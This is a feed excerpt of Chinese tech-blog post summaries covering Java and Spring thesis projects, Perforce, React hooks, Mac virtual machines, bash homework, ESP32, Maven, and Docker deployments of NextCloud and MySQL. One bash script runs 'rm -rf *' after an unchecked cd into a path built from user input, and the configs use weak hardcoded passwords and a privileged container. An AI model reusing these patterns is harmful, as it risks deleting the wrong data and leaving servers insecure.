      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;SSM + mybatis + Maven + Vue 等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末)&#xA;3.1系统说明 网上书店管理系统是一个中小型的网上管理平台，人们可以在网络上进行订购图书，不用出门就可以找到自己想要的图书，本网站是属于图书商城类型的网站。用户可以在图书信息里面找到用户自己想要订购的图书，可把多样图书一起进行参考，然后提交进行订购流程。管理员可以通过对图书信息的管理、用户资料的管理等来对系统进行日常的更新与维护。&#xA;3.2系统功能的分析 整个网上书店管理系统为了便于用户订购与管理员管理,采用了以下几大功能管理模块,包括管理员与用户的设计:&#xA;用户模块:该模块包含了几个子模块包括&#xA;用户登录：用户登录功能是用来识别已在本网站注册过的用户，能根据用户的信息方便的为用户提供服务。最重要的是，系统需要登记用户所订购的图书的信息等等一些的情况，最后为用户生成订单。&#xA;用户注册账号：填写相关用户信息的资料,用于用户登录本网站，进行用图书的订购。包括用户的用户账号、密码、用户姓名、用户手机等等信息，可让用户先登录本系统，然后修改自己的信息，用户只有通过注册成为本网站的用户，才能在本网站页面订购图书，否则只能浏览网页上的图书而不能进行订购。&#xA;用户资料修改：该模块功能主要是针对用户注册资料的修改，比如用户登录到本系统中，想修改自己的密码、手机和用户名等信息可以通过用户资料修改页来实现用户资料修改。&#xA;浏览图书模块：该模块可让打开本网站的用户看到网站上未订购的图书，不管是登录的用户还是未登录的用户都可以查看本网站上的图书。&#xA;订购图书模块：此模块功能只提供在本网站已注册的用户，先要登录本网站系统，然后在浏览页选择想订购的图书，然后选择订购功能，可选择修改用户所需的信息，通过此流程可向网站进行订购。&#xA;图书商城模块:管理员可以管理所有的图书,不同的图书可以分类到不同的列表,这样用户就可以快速找到想要的图书,其中可添加图书信息，可修改和删除上传的记录。&#xA;用户管理模块：管理员可查询、验证在本网站注册的用户信息，同时有权限可以修改用户的信息，管理员也可以删除任何一个用户的账号。&#xA;订单管理模块：此模块可看到用户在网站订购的图书和一些关于订单的信息，还可查看是否执行些订单。&#xA;3.3系统的设计思路 关于网上书店管理系统，我找到许多的电子商城设计的书籍，对SSM进行了更进一步的了解，在整体设计方面选择了比较清新的颜色，网站网页的颜色不要过于花哨，要能使整个页面看起来很统一，所以选择了比较简洁大方的设计。数据库采用的是mysql数据库，本网站对用户进行了权限的设计，为了数据库的安全普通的用户只拥有浏览图书页面的功能，而且订购图书的话，就需要先到用户注册页面去注册一个属于自己的账号，然后通过登录然后才能进行订购。最后，在主要功能模块都能实现之后，再对整个网站进行反复的测试与修改，这样就能达到自己理想的效果。&#xA;3.4系统的设计思想 一个优秀的设计作品，必然要有一个正确的构想，通过选择合理的开发工具、数据结构和操作系统来构成一个完善的网上书店管理系统，根据用户的实际需求，本网上书店管理系统的设计按照以下的原则来进行设计。&#xA;实用性 本网上书店管理系统以用户订购需求为目标，以方便使用本系统的用户为原则，同时加入一些先进的设计理念。根据用户不同的需求制作一个操作界面简单、模块功能完善、便于管理的平台，能够充分的满足用户的需求并方便于本网站的管理人员对网站实行管理。&#xA;可靠性 一个好的网站必须具有高的可靠性，该系统通过结合先进的结构设计和数据的安全性，可以保证本系统具有高可靠性还有容错性，便于本系统不会出现一些不必要的错误信息，妨碍网站的管理。&#xA;智能性 本系统的设计要求便于网站的管理员管理本网站，用户可以根据自己的需求通过不同的模块入口进入不同的图书浏览页，通过后台图书列表的编辑与更新，可使消费者看到最新的图书信息，并且方便为更多的用户提供服务。&#xA;扩展性与灵活性 系统的模块设计主要以方便网站业务拓展和方便用户需求为目标，要求消费者能够很方便的浏览图书，并通过自身的需求能够快速搜索到自己想订购的图书。&#xA;3.5系统功能结构 用户管理功能 该部分内容提供用户注册、用户资料修改、图书商城、图书资讯、个人中心、购物车等等，用户能够进行用户信息的注册、用户信息的修改和提交订单功能。&#xA;管理员管理功能 该部分内容包含了个人中心、用户管理、图书分类管理、图书商城管理、系统管理、订单管理等。管理员可对所有的图书信息进行增、删、改、查，能对用户信息和订单进行管理,更新最近的图书信息。</description>
    </item>
    <item>
      <title>Perforce使用教程</title>
      <link>https://bchobby.github.io/posts/b8255222c2d6f62545678185f48c4b97/</link>
      <pubDate>Sun, 20 Nov 2022 16:33:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8255222c2d6f62545678185f48c4b97/</guid>
      <description>资源链接：&#xA;https://download.csdn.net/download/love_xiaozhao/20534062&#xA;PerforceP4V入门-互联网文档类资源-CSDN下载&#xA;P4V文件状态命令速查表_p4v-互联网文档类资源-CSDN下载&#xA;PerforcexHelix分支策略_perforce分支-互联网文档类资源-CSDN下载&#xA;简介&#xA;Perforce是一款非常优秀的商业化版本管理工具，特别是对美术资源比较友好，更新速度快安全。&#xA;安装&#xA;首先安装Windows版的P4，双击安装包选择路径开始安装，这里的Server和Name可以先不填 启动P4登录输入服务器地址，输入分配的P4账号，自己创建一个新的Workspace 创建Workspace,名字的话包含项目，职位，员工名称，按照如下规则： 如果客户端让你确认证书指纹，请信任该指纹 重要：如果客户端让你选择编码方式，请选择UTF8编码 重要：修改Line ending：菜单栏中依次选择Connection–&amp;gt;Edit Current Workspace–&amp;gt;Advanced，然后选择UNIX 如果有多个库，点击Connection-&amp;gt;Open Connection可以弹出设置服务器，用户，WorkSpace的窗口 或者点击Connection-&amp;gt;Open Recent 可以直接切换打开过的服务器，用户，WorkSpace的配置&#xA;Workspace&#xA;Workspace可以理解为，depot到本地的一个映射，对应本地的一个目录。例如：&#xA;开发的过程中可以有多个Workspace（例如一个用来开发，一个用来更新验证保证提交没有错误），但一般只推荐有一个Workspace&#xA;WorkSpace可以切换，通过Connection-&amp;gt;Switch To Workspace或者，如下图： 选择列表中的Workspace条目，双击切换，按DEL按键可以删除Workspace。出现问题的时候先确认下Worksapce是否正确。&#xA;WorkSpace可以编辑，通过Connection-&amp;gt;Switch To Workspace,如下图： 可以修改Workspace的名字，本地目录以及一些高级参数&#xA;视图&#xA;目录区分为Depot标签页表示服务器上存储的文件目录结构，和Workspace表示本地存储的文件目录结构。&#xA;带感叹号的文件表示本地和服务器不一致，一般这种情况请先更新P4 文件目录里没有任何标记的文件是说明服务器上没有的： 红色问号的表示和服务器上不一样，有冲突的。这种文件不能直接合入： refresh某些情况下某些修改不能实时地在p4v中跟新，可以在view-&amp;gt;refreash all。也可以在任意文件，目录或changelist右键中找到refresh相关的操作： 获取&#xA;在需要获取资源的目录上右键选择Get Latest Revision，这样可以拉取服务器最新的变更，【重要：每次提交前必须拉取一次】： 因为Get Latest Revision是拉取服务器最新变更，但是有时候我们希望覆盖本地的资源，或者是P4出了一些问题导致一些资源没有更新到。这时候我们可以选择Get Revision，然后在弹出的窗口勾选Force Operation，再点击Get Revision的按钮，强制从服务器上拉取最新的资源。这样服务器会把该目录下的资源强制拉取一遍，时间会比较长： 另外也可以对指定版本获取，一般用于回退到某个版本： Submit&#xA;P4的提交是以Changelist为单位，所有修改过的文件会放在一个Changelist里。如下图&#xA;对要修改的文件，在文件上右键选择CheckOut，会弹出选择Changelist的窗口，可以放在默认或者新建的Changelist下： 对要删除的文件可以右键选择Mark for Delete，最好在depot窗口操作，【重要：删除的时候别忘了删除meta文件】，特别是目录也有meta： 对新增的文件，需要到WorkSpace视图下选择Mark for Add： Reconcile。P4提供一个便捷的方式可以直接对一个目录进行比较，找到和服务器上不同的文件，包括修改，删除，新增。找出之后会自动添加到Changelist中，自动完成上面三种操作： 有了Changelist之后，就可以提交了。右键Changelist选择Submit或者点击工具栏里的Submit图标，都会弹出 上传的提示框，输入上传的备注之后就可以提交了。建议每次提交前先对Changelist右键选择Revert Unchanged Files防止提交一些未修改过的文件。【重要：提交备注一定要写的详细清晰易懂】： Revert&#xA;当有文件不想提交的时候可以选择revert，revert之后会放弃本地修改，从服务器重新拉取最新的文件。&#xA;选中文件或者Changelist之后右键，在弹出菜单里可以选择Revert If Unchanged或者Revert。Revert If Unchanged是当本地文件和服务器一样没修改的时候会回退。Revert则是强行回滚，放弃本地修改。如果选择的是Changelist，则会对Changelist下的所有问题做Revert操作。 另外也可以通过工具栏的Revert按钮进行回退。</description>
    </item>
    <item>
      <title>0-7【React】Hooks 原理解析（useState、useRef、useContext）</title>
      <link>https://bchobby.github.io/posts/765c2d768e0670cf4325b4492607e8ce/</link>
      <pubDate>Sun, 20 Nov 2022 15:52:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/765c2d768e0670cf4325b4492607e8ce/</guid>
      <description>1.useState&#xA;流程：&#xA;1.首次渲染会执行函数组件App()，也就是函数会执行一次，useState(0)也会执行，打印出 n=0&#xA;2.当点击按钮调用 setN({n:n+1}) 改变n的值时，函数组件App()会再次被调用，重新渲染，打印出 n=1执行setN的时候：n会变吗？App()会重新执行吗？&#xA;1.n不会变，setN不会改变n，它只是把传入的新值存起来，方便后面useState去取新值&#xA;2.App()会重新执行，但每次执行 useState(0) 的时候，n每次的值是不同的useState&#xA;useState肯定会从 setN 存入新值的地方取出新值存储位置&#xA;每个组件都有自己的数据存储仓库，我们将其命名为 state 注意：旧n和新n同时存在&#xA;这就是React的思想，永远产生新的对象，不改变旧值&#xA;1.1 分析&#xA;setN&#xA;1.setN 一定会修改数据 x，将 n+1 存入 x&#xA;2.setN 一定会触发 &amp;lt;App /&amp;gt;重新渲染（re-render）useState&#xA;useState 肯定会从 x 读取 n 的最新值x&#xA;每个组件都有自己的数据 x，我们将其命名为 _stateuseState 重新执行不重置 0 的原理&#xA;就是将函数内部变量的 _state 声明在 hook 外面作为全局变量，这样就不会每次调用 hook 都重置 //全局变量 let _state //API内部 const myUseState = initialValue =&amp;gt;{ //判断初始值是否存在，存在就是自己的值，不存在就赋初始值 _state = _state === undefined ? initialValue : _state } myUseState(0) 1.</description>
    </item>
    <item>
      <title>mac系统安装搭载Windows系统虚拟机方法教程</title>
      <link>https://bchobby.github.io/posts/debb2ac0fdda66afadecfe5e72c9f97c/</link>
      <pubDate>Sun, 20 Nov 2022 01:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/debb2ac0fdda66afadecfe5e72c9f97c/</guid>
      <description>我们都知道macOS系统虽然相对windows系统而言更稳定，但macOS系统中可使用的软件数量较windows系统而言要少很多。对于macOS系统应用少的问题，我们可以使用虚拟机来解决。那么，苹果虚拟机好用吗？整体而言是可以的。苹果虚拟机怎么装？苹果虚拟机的安装是一项非常复杂的操作。下面我们来看详细介绍吧！&#xA;一、苹果虚拟机好用吗&#xA;在苹果电脑安装虚拟机是解决macOS系统中应用程序少的一种方案，如果说在苹果电脑安装的windows虚拟机是否好用，只能说在苹果电脑安装的windows虚拟机可以用。下面我们就简单来说一下在苹果电脑安装虚拟机的优缺点吧！&#xA;图1：虚拟机&#xA;在苹果电脑安装虚拟机的优点：（1）可以在苹果电脑打开windows系统中的专属文件，以及安装windows系统；（2）两个系统可以同时运行，互不干扰，即使一个系统崩溃也不会影响到另一个系统。&#xA;缺点：（1）安装过程复杂；（2）运行时会大量占用计算机内存；（3）并非所有软件都可以安装，有些软件厂商会禁止用户使用虚拟机；（4）部分虚拟机在使用过程中并不流畅。&#xA;上面我们介绍了在苹果电脑安装虚拟机的优缺点，通过对比用户可以自己衡量苹果虚拟机是否好用。&#xA;什么是类虚拟机软件？&#xA;图8：CrossOver&#xA;类虚拟机软件工作原理：类虚拟机软件CrossOver不像虚拟机那样，在安装windows应用程序时需要现在苹果电脑中创建一个windows环境。CrossOver是将运行windows应用程序所需的配置文件安装至CrossOver的【容器】中，运行应用程序时，直接调用配置文件即可。&#xA;优点：（1）可以大量节省苹果电脑的运行空间；（2）成功的应用程序和苹果电脑自身应用程序没有什么区别，也不会出现卡顿的状况。&#xA;CrossOver Mac-安装包下载如下:&#xA;https://wm.makeding.com/iclk/?zoneid=50028&#xA;CrossOver linux-安装包下载如下:&#xA;https://wm.makeding.com/iclk/?zoneid=50029&#xA;macbook使用的macOS系统与PC端使用windows系统是完全不同的，这也造成了许多应用程序不能在两个系统间进行数据互通。常用的解决方案是虚拟机或双系统，那么macbook虚拟机好还是双系统好？这要看实际使用场景。macbook虚拟机怎么装？虚拟机的安装是一个非常复杂的过程。下面我们来看详细介绍吧！&#xA;一、macbook虚拟机好还是双系统好&#xA;虚拟机和双系统的使用都是为了解决macOS系统和windows系统间数据不能互通状况的。那么，在macbook是选择虚拟机？还是选择双系统呢？我们就要分别来看它们的优缺点。&#xA;1.双系统&#xA;双系统好似在一个鱼塘中筑坝修堤，将一个鱼塘分为两个。一个用来养甲鱼，一个用来养鲤鱼。在macbook中就是将一个系统盘分为两个，一个用来装windows系统，一个来装macOS系统。&#xA;图1：系统盘&#xA;一台设备中两个系统盘，一个装windows系统，一个装macOS系统，看似非常完美。优点：（1）可以macbook运行windows专属应用程序及打开专属文件；（2）使用杀毒软件对一个系统查杀时，同时也会对另一个系统进行查杀。&#xA;双系统的缺点也非常明显：（1）分割系统盘，会造成系统盘减少；（2）两个系统不能同时使用，来回切换系统较为麻烦；（3）如果其中一个系统在使用崩溃，那么会波及另一个系统。（4）安装过程复杂。&#xA;2.虚拟机&#xA;仍以养鱼为例，虚拟机好似在鱼塘放了一个网笼，将甲鱼和鲤鱼分开，使用的水仍然是一个池塘中的水，只是加了一个笼子。在设备中，仍使用一个系统盘，只是使用虚拟机软件织造了一个可以装windows应用程序的盒子。&#xA;图2：虚拟机&#xA;虚拟机的优点：（1）两个系统不会互相影响；（2）几乎windows原生系统可以安装的应用程序和专属文件在虚拟机都可以正常使用；（3）两个系统可以同时使用。&#xA;缺点：（1）安装过程复杂；（2）虚拟机价格较高；（3）有些虚拟机使用起来较为卡顿；（4）部分游戏会限制使用虚拟机；（5）运行起来占用空间较多。&#xA;总的来讲，双系统和虚拟机都有各自的优缺点，用户可以根据自身实际使用情况来选择。&#xA;二、macbook虚拟机怎么装&#xA;相对而言虚拟机的使用，不会造成两个系统间相互影响。使用时，也无需来回切换系统。下面我们来看如何在macbook安装虚拟机吧！&#xA;1.安装前准备&#xA;在安装虚拟机前，需要先下载虚拟机软件和windows系统的镜像文件。&#xA;图3：镜像文件&#xA;这里我们以使用Parallels Desktop安装windows系统为例，首先通过Parallels Desktop中文官网下载软件安装包，再通过资源网站下载windows镜像文件。&#xA;2.创建虚拟机&#xA;图4：创建虚拟机&#xA;安装虚拟机时，首先通过虚拟机软件搭建一个安装windows系统环境的框架，然后我们再将windows镜像文件导入框架内安装即可。在Parallels Desktop控制中心单击【+】，便可创建虚拟机。&#xA;3.安装虚拟机&#xA;使用Parallels Desktop安装虚拟机大致可以分为三步：（1）导入镜像文件；（2）选择应用场景；（3）设置windows。&#xA;（1）导入镜像文件&#xA;图5：导入镜像文件&#xA;在Parallels Desktop创建虚拟机框架后，通过文件夹图标打开macbook访达，将已下载好的windows镜像文件导入Parallels Desktop，单击【继续】开始安装。&#xA;（2）选择应用场景&#xA;图6：选择应用场景&#xA;选择应用场景是一个快捷的安装方式，这里Parallels Desktop提供了四种应用场景，根据个人需求选择即可，如图6选择了【生产力】，主要被应用于日常办公。&#xA;（3）设置windows&#xA;图7：设置windows&#xA;windows的设置非常简单，主要是基础设置，如用户名，开机密码等。到这一步，windows虚拟机便可安装完成了。&#xA;通过前面两步，我们发现在macbook无论是安装虚拟机，还是装双系统都有非常麻烦，不如直接使用类虚拟机软件CrossOver。CrossOver的原理相较于虚拟机和双系统都有很大不同，CrossOver是运行windows应用程序时需要什么配置文件，CrossOver直接将配置文件下载至容器中。下面我们来看CrossOver如何下载软件吧！&#xA;CrossOver如何下载steam？&#xA;1.搜索应用&#xA;图8：搜索应用&#xA;启动CrossOver后，通过【安装】打开搜索应用界面，直接搜索应用名称，或者直接在【热门应用程序】位置直接选中steam，便可开启下载。&#xA;2.安装应用&#xA;图9：下载应用&#xA;在CrossOver下载和安装应用都是自动的，只有进入windows系统安装向导阶段才需要用户操作，安装完成后，直接在CrossOver【容器】或macbook桌面便可启动steam。&#xA;图10：启动应用&#xA;三、总结&#xA;以上便是，macbook虚拟机好还是双系统好，macbook虚拟机怎么装的内容。Macbook是选择虚拟机，还是选择双系统，要看用户对windows系统的需求程度。Macbook虚拟机的安装较为复杂，不如直接使用类虚拟机软件CrossOver。</description>
    </item>
    <item>
      <title>作业：封装一个函数，函数功能实现数组求和</title>
      <link>https://bchobby.github.io/posts/dabdb5abc950cb23ddcb1ac50c08db0c/</link>
      <pubDate>Sat, 19 Nov 2022 14:08:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dabdb5abc950cb23ddcb1ac50c08db0c/</guid>
      <description>作业实现过程：&#xA;#封装一个函数，函数功能实现数组求和 #!/bin/bash function sum() { sum=0 read -p &#34;请输入需要求和的数组数据：&#34; -a arr for((i=0;i&amp;lt;${#arr[@]};i++)) { sum=$(($sum+${arr[i]})) } } sum echo 求和结果=$sum 实现效果：</description>
    </item>
    <item>
      <title>作业：家目录下创建两个目录文件，如果有这两个文件夹，询问用户是否要对目录清空[Y/N],输入一个文件路径，判断这个文件路径是否存在，把这个目录下的目录文件和其它文件分别复制到两个文件夹中，并统计个数</title>
      <link>https://bchobby.github.io/posts/181c17eccbbe2075c95f4053067331e6/</link>
      <pubDate>Sat, 19 Nov 2022 14:07:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/181c17eccbbe2075c95f4053067331e6/</guid>
      <description>作业实现过程：&#xA;#编程：在家目录下创建两个目录文件file_dir和dir_dir,如果家目录下有这两个 #文件夹，就不需要创建，询问用户是否要对目录清空[Y/N],输入一个文件路径，判断 #这个文件路径是否存在，如果存在，把这个目录下的目录文件复制到dir_dir中，如果是其他文件， #复制到file_dir下，统计复制的文件和目录文件的个数，并打印出来 #!/bin/bash read -p &#34;请创建文件夹：&#34; var1 #判断文件夹是否存在，并且是否为空 if [ -s /home/ubuntu/$var1/ ] then read -p &#34;文件夹已存在，是否清空[y/n]&#34; var3 if [ $var3 == &#39;y&#39; ] then cd /home/ubuntu/$var1/ rm -rf * fi else echo 没有相同文件夹，已创建新文件夹 mkdir /home/ubuntu/$var1 fi read -p &#34;请创建文件夹：&#34; var2 if [ -s /home/ubuntu/$var2/ ] then read -p &#34;文件夹已存在，是否清空[y/n]&#34; var4 if [ $var4 == &#39;y&#39; ] then cd /home/ubuntu/$var2/ rm -rf * fi else echo 没有相同文件夹，已创建新文件夹 mkdir /home/ubuntu/$var2 fi #判断路径是否存在，并不存在时死循环再次输入 while [ 1 ] do read -p &#34;</description>
    </item>
    <item>
      <title>[ESP32]在vscode中搭建ESP32编译环境</title>
      <link>https://bchobby.github.io/posts/da897e95c03d3d73548d40287089230f/</link>
      <pubDate>Sat, 19 Nov 2022 14:05:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da897e95c03d3d73548d40287089230f/</guid>
      <description>1.在vscode中安装&#34;C/C++&#34;、&#34;ESP-IDF&#34;插件。&#xA;2.Ctrl+P，&amp;gt;ESP-IDF:Configure ESP-IDF extension,选择&#34;Advanced&#34;。(可以在espressif/esp-who: Face detection and recognition framework (github.com)查看ESP-IDF Version)&#xA;3.等待安装ESP-IDF Extension。&#xA;4.点Download Tools。&#xA;5.弹出来这个页面就是安装成功，×掉。&#xA;6.Ctrl+P，&amp;gt;ESP-IDF:New Project,如下图配置(以hello_world举例)。点击右下角的&#34;Choose Template&#34;。下个页面选择ESP-IDF中的&#34;hello_world&#34;，点击&#34;Create project using template hello_world&#34;。&#xA;7.在新的vscode打开生成的project。电脑插上ESP32开发板，在左下角设置好对应的COM口、device target、板子选择&#34;Custom board&#34;，在menuconfig中设置芯片对应的flash size，再点击&#34;ESP-IDF Build project&#34;。&#xA;看到如下则是编译成功。&#xA;8.flash method选择&#34;UART&#34;,再点击&#34;flash device&#34;。&#xA;看到如下则是flash成功。&#xA;9.选择&#34;Monitor Divice&#34;,可以看到串口输出信息。</description>
    </item>
    <item>
      <title>基于Springboot的在线网络小说阅读网站的设计与实现</title>
      <link>https://bchobby.github.io/posts/edff58a803b2356406f5d4cc06222f3f/</link>
      <pubDate>Sat, 19 Nov 2022 11:18:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edff58a803b2356406f5d4cc06222f3f/</guid>
      <description>摘 要&#xA;现在是互联网快速发展的时代，网络是一种新媒体的类型，被称为“第四媒体”，随着越来越多的人进入互联网时代，网络阅读一种由文本的变化所带来的新的阅读方式，借助计算机、网络技术来获取多媒体合成信息和知识的阅读行为，对人们来说是一个新的阅读体验，改变了阅读的媒介(以前是纸质的)，是时代的进步。&#xA;基于Springboot的在线网络小说阅读网站主要实现了在线写作、在线阅读、评价小说、更新章节、查询小说、将小说加入书架、阅读记录、购买平台VIP来阅读收费小说等功能。在本网站中一个人可以创作多本小说、用户作为其他人的读者也作为自己作品作者，可以通过查询功能根据小说名与作者名来查询自己想要观看的小说，在购买一个月、三个月等不同月份的平台VIP后可以看其他作者写的收费小说，在支付成功后会显示截至到期的期限。&#xA;本系统使用纯面向对象的Java语言，Springboot作为后端框架，MySQL数据库等技术进行开发，使用JSP+CSS+JS对网站前端界面进行设计，更采用了JQuery这款轻量级的JS框架。用Navicat for MySQL管理MySQL数据库。&#xA;关键词 Springboot；阅读；Java语言；MySQL数据库&#xA;演示视频（去blibli观看）： springboot mybatis在线小说网站java小说网站毕业设计&#xA;YML配置：&#xA;server: port: 8080 servlet: context-path: /novel multipart: max-file-size: 10MB #单个文件 max-request-size: 100MB #总文件大小 spring: datasource: driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://localhost:3306/db_novel?serverTimezone=GMT%2B8&amp;amp;useUnicode=true&amp;amp;characterEncoding=utf8 username: root password: root jpa: show-sql: true mvc: view: prefix: /WEB-INF/views/ suffix: .jsp mybatis: mapper-locations: classpath:mapper/*.xml type-aliases-package: com.novel.entity #devtools插件 devtools: restart: enabled: true #是否支持热部署 #mybaatis分页插件pagehelper设置 pagehelper: pagehelperDialect: mysql reasonable: true support-methods-arguments: true # 打印sql logging: level: com.novel.dao: DEBUG 支付宝沙箱支付：</description>
    </item>
    <item>
      <title>一文读懂如何证明充要条件</title>
      <link>https://bchobby.github.io/posts/10193949cdd77af1026433ef39ba75a5/</link>
      <pubDate>Sat, 19 Nov 2022 11:08:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10193949cdd77af1026433ef39ba75a5/</guid>
      <description>充要条件 想问大家一个问题，大家做数学的证明题的时候是否会遇到一个这样子的问题？&#xA;1、证明：P的充分必要条件是Q&#xA;充分性：Q—&amp;gt;P&#xA;必要性：P—&amp;gt;Q&#xA;正确解答&#xA;为什么不是下面这种情况呢？&#xA;2、证明：P的充分必要条件是Q&#xA;充分性：P—&amp;gt;Q&#xA;必要性：Q—&amp;gt;P&#xA;错误解答&#xA;似乎第二种证明更符合我们的习惯，属于我们的第一反应，但是真的是这样吗？&#xA;我们可以先看下定义：&#xA;P—&amp;gt;Q 表示为：P是Q的充分条件&#xA;P&amp;lt;—Q 表示为：P是Q的必要条件&#xA;有了上述定义之后，我们可以再来看下上述的1为什么是对的，2为什么不对。&#xA;首先我们来看一句话：“我是你”。&#xA;“我是你”和“你是我”，这俩句话是不是等价的？搞明白了这句话，相信对下面的就不难理解了。&#xA;首先我们先证明充分条件，P的充分条件是Q，可以解读为：Q是P的充分条件&#xA;也就是Q—&amp;gt;P。&#xA;然后我们再证明必要条件，P的必要条件是Q，可以解读为：Q是P的必要条件&#xA;也就是Q&amp;lt;—P，换过来就是P—&amp;gt;Q。&#xA;我么可以来看一个例子：&#xA;P的必要条件**&#xA;也就是Q&amp;lt;—P，换过来就是P—&amp;gt;Q。&#xA;我么可以来看一个例子：&#xA;如果写的有什么不对的地方，还请大家指正。</description>
    </item>
    <item>
      <title>Maven项目引入第三方（金蝶云星空）jar包</title>
      <link>https://bchobby.github.io/posts/27835e0a6b1ba5a71d54fd067e19af89/</link>
      <pubDate>Sat, 19 Nov 2022 11:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27835e0a6b1ba5a71d54fd067e19af89/</guid>
      <description> 第一种最简单有效的方法（亲测可用） 1、配置maven环境（可百度）&#xA;2、将第三方jar包放到某文件夹&#xA;3、调用cmd命令，执行maven命令mvn install mvn install:install-file -Dfile=D:\WorkSpace\repository\com\erp\k3cloud-webapi-sdk7.9.2.jar -DgroupId=com.erp -DartifactId=k3cloud-webapi-sdk -Dversion=7.9.2 -Dpackaging=jar 参数说明： file -Difle：为jar包存放路径 DgroupId：为jar包id,可以随便写 DartifactId：为dartifactId,可以随便写 Dversion：为jar版本，可以自己定义 4、最后在pom文件引入即可&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.erp&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;k3cloud-webapi-sdk&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;7.9.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; </description>
    </item>
    <item>
      <title>【搭建NextCloud私有云盘服务】采用docker在linux上进行部署，内含nextCloud移植（迁移服务器）方法</title>
      <link>https://bchobby.github.io/posts/18ed47cb77b5bdf9bbf6619cdff2a4e2/</link>
      <pubDate>Sat, 19 Nov 2022 09:54:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18ed47cb77b5bdf9bbf6619cdff2a4e2/</guid>
      <description>1、前言 完成的效果： 在linux上搭建NextCloud云盘服务，可以通过域名访问到云盘服务，并且安装有SSL证书，可进行https访问。&#xA;例如：&#xA;服务器公网ip为47.110.66.88&#xA;域名为：cloud.huahua.com&#xA;可直接通过访问https://cloud.huahua.com访问到私有云盘。&#xA;本实例的配置：&#xA;服务器厂商：阿里云服务器&#xA;linux系统：Alibaba Cloud Linux 3.2104 LTS 64位&#xA;使用到的工具：宝塔面板（主要做Nginx反向代理还有安装Docker管理面板，不用面板问题也不大，会Nginx就行）&#xA;服务器安装有Docker和Nginx服务&#xA;效果图 架构图 2、首次搭建NextCloud （1）查询并下载NextCloud镜像 docker search nextcloud docker pull nextcloud （2）创建并启动NextCloud容器 docker images&#x9;# 查询镜像 docker run -d --restart=always --name nextcloud -p 9090:80 nextcloud:latest 解释：&#xA;-d 表示在后台运行&#xA;nextcloud 自定义容器的名字，&#xA;nextcloud:latest 是镜像的名字，冒号后面表示版本号&#xA;9090:80 表示服务器访问端口是9090，容器内部的端口是80，就是说要访问容器内部的80端口的时候，直接访问服务器的9090端口才可以访问到。&#xA;（3）访问地址 公网：端口号形式例如&#xA;http://47.110.66.88:9090 温馨提示： 记得把公网ip的9090端口打开，在安全组那里可以添加设置。&#xA;（4）连接mysql数据库 自行创建一个数据库&#xA;数据库名：nextCloud&#xA;用户名：root&#xA;密码：f35765c5f33ed13c(自定义)&#xA;注意：&#xA;字符集选 utf8mb4&#xA;排序规则选 utf8mb4_general_ci&#xA;使用 Navicat 数据库工具创建如下&#xA;如果是使用宝塔创建数据库，一定要设置访问权限为本地ip或者所有人，不要设置为本地服务器，会安装失败的，因为访问权限不足，docker服务与linux服务隔开，所以docker里面的NextCloud服务准确来说不属于linux内部服务，我这里推荐使用本地ip也就是47.110.66.88</description>
    </item>
    <item>
      <title>matlab/importGeometry</title>
      <link>https://bchobby.github.io/posts/5232ae7fe2e3bc4b859f45b6f35645e8/</link>
      <pubDate>Sat, 19 Nov 2022 08:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5232ae7fe2e3bc4b859f45b6f35645e8/</guid>
      <description>求matlab的r2020a版本的importGeometry.m源代码，自己该了，忘记怎么改回来了，不想重装软件</description>
    </item>
    <item>
      <title>Docker安装MYSQL5.7</title>
      <link>https://bchobby.github.io/posts/526e1f5c5a122cc4952c063ce5d384a1/</link>
      <pubDate>Sat, 19 Nov 2022 02:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/526e1f5c5a122cc4952c063ce5d384a1/</guid>
      <description> 背景 自己的练手小项目需要部署到公网服务器，需要连接mysql数据库，这里选择docker安装mysql5.7，简单便捷。&#xA;至于为什么选择mysql5.7，是因为mysql5.7版本稳定，其次安装相较于其他高版本（mysql8）实在是简单太多了，少了很多grant等初始化操作，比如access denied for user root......password no。看到这些连接错误提示信息实在头疼。&#xA;前提 安装好docker，配置好阿里云镜像。&#xA;实践 1、拉取mysql5.7的docker镜像&#xA;docker pull mysql:5.7 配好阿里云镜像仓库地址后，拉取镜像还是挺快的。&#xA;2、启动镜像&#xA;docker run -d -p 3306:3306 --privileged=true -v /docker/mysql/conf/my.cnf:/etc/my.cnf -v /docker/mysql/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=&#39;123456&#39; --name mysql mysql:5.7 --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci 表示映射宿主机3306端口到容器内部的3306端口，mysql连接密码为123456，配置了容器my.cnf和mysql数据目录在宿主机的链接，设置了mysql编码为utf8.&#xA;3、查看容器运行状态&#xA;docker ps 容器在运行表示启动成功，不需要再做任何操作就可以通过root用户和IP密码去连接mysql了。&#xA;注意 